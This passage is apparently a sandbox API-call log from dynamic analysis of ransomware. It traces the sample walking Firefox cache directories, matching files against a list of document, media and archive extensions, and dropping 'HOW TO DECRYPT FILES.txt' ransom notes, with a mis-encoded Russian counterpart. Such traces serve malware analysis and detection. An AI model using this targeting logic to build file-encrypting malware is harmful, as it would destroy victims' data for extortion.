HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.jpeg") returned 0 [0086.198] lstrlenA (lpString="*.jpeg") returned 6 [0086.198] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.jpg") returned 0 [0086.198] lstrlenA (lpString="*.jpg") returned 5 [0086.198] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.png") returned 0 [0086.198] lstrlenA (lpString="*.png") returned 5 [0086.199] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.php") returned 0 [0086.199] lstrlenA (lpString="*.php") returned 5 [0086.199] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.cs") returned 0 [0086.199] lstrlenA (lpString="*.cs") returned 4 [0086.199] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.cpp") returned 0 [0086.199] lstrlenA (lpString="*.cpp") returned 5 [0086.199] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.rar") returned 0 [0086.199] lstrlenA (lpString="*.rar") returned 5 [0086.199] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.zip") returned 0 [0086.199] lstrlenA (lpString="*.zip") returned 5 [0086.199] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.html") returned 0 [0086.199] lstrlenA (lpString="*.html") returned 6 [0086.199] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.htm") returned 0 [0086.199] lstrlenA (lpString="*.htm") returned 5 [0086.199] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.xlsx") returned 0 [0086.199] lstrlenA (lpString="*.xlsx") returned 6 [0086.199] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.xls") returned 0 [0086.199] lstrlenA (lpString="*.xls") returned 5 [0086.199] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.mp4") returned 0 [0086.199] lstrlenA (lpString="*.mp4") returned 5 [0086.199] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.ppt") returned 0 [0086.199] lstrlenA (lpString="*.ppt") returned 5 [0086.199] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.pptx") returned 0 [0086.199] lstrlenA (lpString="*.pptx") returned 6 [0086.200] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.doc") returned 0 [0086.200] lstrlenA (lpString="*.doc") returned 5 [0086.200] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.dot") returned 0 [0086.200] lstrlenA (lpString="*.dot") returned 5 [0086.200] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.docx") returned 0 [0086.200] lstrlenA (lpString="*.docx") returned 6 [0086.200] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.7z") returned 0 [0086.200] lstrlenA (lpString="*.7z") returned 4 [0086.200] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.tar") returned 0 [0086.200] lstrlenA (lpString="*.tar") returned 5 [0086.200] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.bz2") returned 0 [0086.200] lstrlenA (lpString="*.bz2") returned 5 [0086.200] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.gz") returned 0 [0086.200] lstrlenA (lpString="*.gz") returned 4 [0086.200] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.mkv") returned 0 [0086.200] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f47cd0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f47cd0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x534f, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="16A09d01", cAlternateFileName="")) returned 0 [0086.201] FindClose (in: hFindFile=0x502798 | out: hFindFile=0x502798) returned 1 [0086.201] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7d58af0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d58af0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7d58af0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="2C", cAlternateFileName="")) returned 1 [0086.201] lstrcmpA (lpString1=".", lpString2="2C") returned -1 [0086.201] lstrcmpA (lpString1="..", lpString2="2C") returned -1 [0086.201] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\*.*") returned="*.*" [0086.201] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\", lpString2="2C" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C" [0086.201] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\*.*", lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7d58af0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d58af0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7d58af0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502798 [0086.201] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.201] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7d58af0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d58af0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7d58af0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.201] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.202] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.202] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7d58af0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d58af0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7dcaf10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x133d5, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="24B53d01", cAlternateFileName="")) returned 1 [0086.202] PeekMessageA (in: lpMsg=0x18efa4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18efa4) returned 0 [0086.202] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="24B53d01") returned 1 [0086.202] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="24B53d01") returned 1 [0086.202] lstrcmpiA (lpString1="", lpString2="24B53d01") returned -1 [0086.202] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\*.*") returned="*.*" [0086.202] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\" [0086.202] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\") returned="" [0086.202] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\HOW TO DECRYPT FILES.txt" [0086.202] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\2c\\how to decrypt files.txt")) returned 0xffffffff [0086.202] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\2c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa8 [0086.205] SetFileTime (hFile=0xa8, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0086.205] CloseHandle (hObject=0xa8) returned 1 [0086.205] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\", lpString2="24B53d01" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\24B53d01") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\24B53d01" [0086.205] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\24B53d01", pszSpec="*.ems") returned 0 [0086.205] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7d58af0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d58af0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7dcaf10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x133d5, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="24B53d01", cAlternateFileName="")) returned 0 [0086.205] FindClose (in: hFindFile=0x502798 | out: hFindFile=0x502798) returned 1 [0086.205] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f47cd0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f47cd0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="61", cAlternateFileName="")) returned 1 [0086.205] lstrcmpA (lpString1=".", lpString2="61") returned -1 [0086.206] lstrcmpA (lpString1="..", lpString2="61") returned -1 [0086.206] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\*.*") returned="*.*" [0086.206] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\", lpString2="61" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61" [0086.206] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\*.*", lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f47cd0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f47cd0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502798 [0086.206] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.206] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f47cd0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f47cd0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.206] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.206] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.206] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f47cd0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7fba0f0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xa949, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="28E95d01", cAlternateFileName="")) returned 1 [0086.206] PeekMessageA (in: lpMsg=0x18efa4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18efa4) returned 0 [0086.207] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="28E95d01") returned 1 [0086.207] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="28E95d01") returned 1 [0086.207] lstrcmpiA (lpString1="", lpString2="28E95d01") returned -1 [0086.207] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\*.*") returned="*.*" [0086.207] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\" [0086.207] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\") returned="" [0086.207] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\HOW TO DECRYPT FILES.txt" [0086.207] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\61\\how to decrypt files.txt")) returned 0xffffffff [0086.207] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\61\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa8 [0086.210] SetFileTime (hFile=0xa8, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0086.210] CloseHandle (hObject=0xa8) returned 1 [0086.210] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\", lpString2="28E95d01" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\28E95d01") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\28E95d01" [0086.210] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\28E95d01", pszSpec="*.ems") returned 0 [0086.210] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f47cd0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7fba0f0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xa949, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="28E95d01", cAlternateFileName="")) returned 0 [0086.210] FindClose (in: hFindFile=0x502798 | out: hFindFile=0x502798) returned 1 [0086.210] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e8d330, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e8d330, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e8d330, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="E0", cAlternateFileName="")) returned 1 [0086.210] lstrcmpA (lpString1=".", lpString2="E0") returned -1 [0086.210] lstrcmpA (lpString1="..", lpString2="E0") returned -1 [0086.211] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\*.*") returned="*.*" [0086.211] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\", lpString2="E0" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0" [0086.211] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\*.*", lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e8d330, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e8d330, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e8d330, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502798 [0086.212] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.212] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e8d330, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e8d330, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e8d330, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.212] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.213] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.213] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x81e8d330, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e8d330, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e8d330, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x404f, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="F17B2d01", cAlternateFileName="")) returned 1 [0086.213] PeekMessageA (in: lpMsg=0x18efa4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18efa4) returned 0 [0086.213] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="F17B2d01") returned -1 [0086.213] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="F17B2d01") returned 1 [0086.213] lstrcmpiA (lpString1="", lpString2="F17B2d01") returned -1 [0086.213] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\*.*") returned="*.*" [0086.213] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\") returned="C:\\Users\\5p5NrGJn0jS 